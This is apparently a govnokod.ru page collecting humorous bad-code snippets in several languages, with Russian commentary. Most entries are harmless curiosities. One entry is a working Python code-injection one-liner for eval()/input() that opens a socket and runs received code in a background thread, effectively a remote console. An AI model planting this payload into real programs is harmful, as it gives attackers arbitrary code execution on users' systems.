- 1
- 2
- 3
List<String> list;
....
Long num = Long.parseLong( "" + list.size() );
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+79
List<String> list;
....
Long num = Long.parseLong( "" + list.size() );
Самый оригинальный способ конвертации int в Long, кот. встречал в проекте )
−94
42 if (
setattr(__builtins__,'___m', {'s':__import__('socket'),'l':__import__('select'),'i':__import__('itertools'),'t':__import__('threading')}),
setattr(__builtins__,'___conn',__builtins__.___m['s'].create_connection(('127.0.0.1',10500))),
setattr(__builtins__,'___worker' ,lambda S: any(
(True if __builtins__.___m['l'].select([S],[S],[S])[2] else S.sendall(repr(eval(S.recv(4096), globals(), locals()))+'\n')) for i in __builtins__.___m['i'].repeat(0) )
),
__builtins__.___m['t'].Thread(target=__builtins__.___worker,args=(__builtins__.___conn,) ).start(),
) else 0
Code injection для вызовов eval() и input(). Запускает некое подобие Python-консоли в отдельном потоке.
Отформатировано для удобства чтения, вообще это однострочник.
Говно в способе, которым организуется цикл работы с сокетом. А что поделать, даже while недоступен.
+32
Sleep("pause");
Написал как-то ночью. Без комментариев.
+81
#include "stdafx.h"
#include "windows.h"
#include "iostream"
#include "stdio.h"
#include "conio.h"
#include "stdlib.h"
#define прога_однако int _tmain(int argc, _TCHAR* argv[])
#define начнемс {
#define пора_заканчивать_однако }
#define возврощать_однако return
#define закончим_однако ;
#define ноль_однако 0
#define неделимое int
#define делимое float
#define логика_однако bool
#define символ char
#define поспать_однако system("pause")
#define откроем (
#define закроем )
#define туда >>
#define сюда <<
#define воспрошать_у_Юзверя_окаянного std::cin
#define сказать_Юзверю_окаянному std::cout
#define если if
#define иначе else
#define цикл_фор for
#define цикл_пока while
#define пойдем_туда goto
#define выбрать_из switch
#define вариант case
#define прервать break
#define размер sizeof
#define ложь false
#define истина true
#define по_умолчанию default
#define больше >
#define меньше <
#define больше_равно >=
#define меньше_равно <=
#define равно ==
#define прировнять =
#define не_равно !=
//-----------------------------------------------------
неделимое Места[3][3] закончим_однако
символ клавиша_меню закончим_однако
символ клавиша закончим_однако
логика_однако ход закончим_однако
неделимое последний_выиграш прировнять 0 закончим_однако
//-----------------------------------------------------
неделимое обновить_однако откроем закроем
начнемс
логика_однако Буфер[34][34] закончим_однако
неделимое i,j закончим_однако
цикл_фор откроем i прировнять 0 закончим_однако i меньше 34 закончим_однако i++ закроем // Стенки начало
начнемс
Буфер[i][0] прировнять 1 закончим_однако
Буфер[i][33] прировнять 1 закончим_однако
Буфер[0][i] прировнять 1 закончим_однако
Буфер[33][i] прировнять 1 закончим_однако
Буфер[11][i] прировнять 1 закончим_однако
Буфер[22][i] прировнять 1 закончим_однако
Буфер[i][11] прировнять 1 закончим_однако
Буфер[i][22] прировнять 1 закончим_однако
пора_заканчивать_однако // Стенки конец
//*****************************
цикл_фор откроем j прировнять 0 закончим_однако j меньше 3 закончим_однако j++ закроем
начнемс
цикл_фор откроем i прировнять 0 закончим_однако i меньше 3 закончим_однако i++ закроем
начнемс
выбрать_из откроем Места[i][j] закроем // Рисуем крестики и нолики
начнемс
неделимое a закончим_однако
вариант 1://1- Крестик
цикл_фор откроем a прировнять 2 закончим_однако a меньше_равно 9 закончим_однако a++ закроем
начнемс
Буфер[a+i*11][a+j*11] прировнять 1 закончим_однако
Буфер[ откроем i*11 закроем +11-a][ откроем j*11 закроем +a] прировнять 1 закончим_однако
пора_заканчивать_однако
прервать закончим_однако
вариант 2://2-Нолик
цикл_фор откроем a прировнять 3 закончим_однако a меньше_равно 8 закончим_однако a++ закроем
начнемс
Буфер[a+i*11][2+j*11] прировнять 1 закончим_однако
Буфер[a+i*11][9+j*11] прировнять 1 закончим_однако
Буфер[2+i*11][a+j*11] прировнять 1 закончим_однако
Буфер[9+i*11][a+j*11] прировнять 1 закончим_однако
пора_заканчивать_однако
прервать закончим_однако
вариант 0://0- Пустая клетка
//------------------
прервать закончим_однако
пора_заканчивать_однако
пора_заканчивать_однако
пора_заканчивать_однако
//*****************************
SetConsoleTextAttribute откроем GetStdHandle откроем STD_OUTPUT_HANDLE закроем , FOREGROUND_GREEN закроем закончим_однако
цикл_фор откроем j прировнять 0 закончим_однако j меньше 34 закончим_однако j++ закроем // Отрисовка массива начало
Крестики- нолики
Полный код http://paste.org.ru/?f9hw0h
+34
void
XmlRpcDispatch::work(double timeout)
{
...
nEvents = select(maxFd+1, &inFd, &outFd, &excFd, NULL);
...
}
void XmlRpcDispatch::terminate() {
...
XmlRpcSocket::connect(_cmd_sock, "127.0.0.1", port);
...
}
Не то чтобы говнокод, но забавный костыль. А как еще корректно выйти из select'a, ждущего входящих соединений? Создать соединение самому.
−117
MAXJOBS=20
for i in `seq 1 $MAXJOBS` ; do nice -n 19 gzip -c /dev/zero > /dev/null & done
while true
do
LA=`</proc/loadavg` && LA=${LA// */}
H=$(date +%M) && H=${H/0/}
G=`echo "(${MAXJOBS}/2)*(s(2*3.14159*${H}/60) +1 ) <= ${LA}" | bc -l`
test ${G} -lt 1 && for i in `seq 1 $MAXJOBS` ; do kill -SIGCONT %$i ; done || for i in `seq 1 $MAXJOBS` ; do kill -SIGSTOP %$i; done
sleep 1
done
Генерирует load average, и поддерживает её в форме синусоиды, с периодом в час.
на графике выглядит как-то так:
http://i.piccy.info/i7/108cbdd61801da0ed805ecf41ecbc9e3/4-47-114/35579895/localhost_load.png
+66
<?php
//You can even add more Dollar Signs
$Bar = "a";
$Foo = "Bar";
$World = "Foo";
$Hello = "World";
$a = "Hello";
$a; //Returns Hello
$$a; //Returns World
$$$a; //Returns Foo
$$$$a; //Returns Bar
$$$$$a; //Returns a
$$$$$$a; //Returns Hello
$$$$$$$a; //Returns World
//... and so on ...//
?>
Из комментов на http://www.php.net/manual/en/language.variables.variable.php
−102
obj_l = list()
for obj, obj_id in [(QuizQuestion, quest_id), (QuizAssigment, ass_id), (QuizQuestionAnswer, answ_id)]:
q_set = getattr(getattr(obj, 'objects'), 'filter')(id=obj_id)
obj_l.append(getattr(q_set, 'count')() > 0 and q_set[0] or False)
(False in obj_l or obj_l[2].question != obj_l[0] or (user and obj_l[0].user)) and abort(IntegrityError())
1) хер такое прочтешь
2) для осмысления прочитанного нужно выпить
3) за осмысление такого нужно выпить еще раз
4) чувак узнал про getattr, хотя стоило вызвать напрямую obj.objects.filter(id=obj_id)
5) q_set.count() > 0 and q_set[0] or false
пятая строка поддается пониманию но катастрофически быстро начинает от этого терять смысл
+21
if(m_bitRate < DSS_LOW_RATE/1000000.)
{
m_bitRate = DSS_LOW_RATE/1000000.;
}
else if(m_bitRate > DSS_HIGH_RATE/1000000.)
{
m_bitRate = DSS_HIGH_RATE/1000000.;
}
else if(m_bitRate > (.5*(DSS_HIGH_RATE - DSS_LOW_RATE) + DSS_LOW_RATE)/1000000.)
{
m_bitRate = DSS_HIGH_RATE/1000000.;
}
else
{
m_bitRate = DSS_LOW_RATE/1000000.;
}
умиляет. ну хотя бы, упростить .5*(DSS_HIGH_RATE - DSS_LOW_RATE) + DSS_LOW_RATE) до (DSS_HIGH_RATE + DSS_LOW_RATE)/2 -- понятнее, да? тогда и if(m_bitRate > DSS_HIGH_RATE/1000000.) можно убрать за ненадобносью (ибо число которое больше чем максимальное из двух точно больше чем среднее из этих жвух), и самое верхнее if(m_bitRate < DSS_LOW_RATE/1000000.) можно убрать ибо в else у нас то же самое произойдет - и сразу как бы читаестя с ходу и понимается, не надо напрягаться.
Боже, как я люблю крупные проприетарные проекты написанные людьми выбравшими для себя не свою профессию разработчика софта...
+139
private static string f(bool? arg)
{
switch (arg)
{
case true: return "true";
case false: return "false";
case null: return "null";
default: return "???";
}
}
В продолжение историй про bool-shit. Если строку 8 убрать, то Visual Studio пишет:
"Error 3 'f(bool?)': not all code paths return a value"
Что должно быть в аргументе, чтобы попасть в ветку default?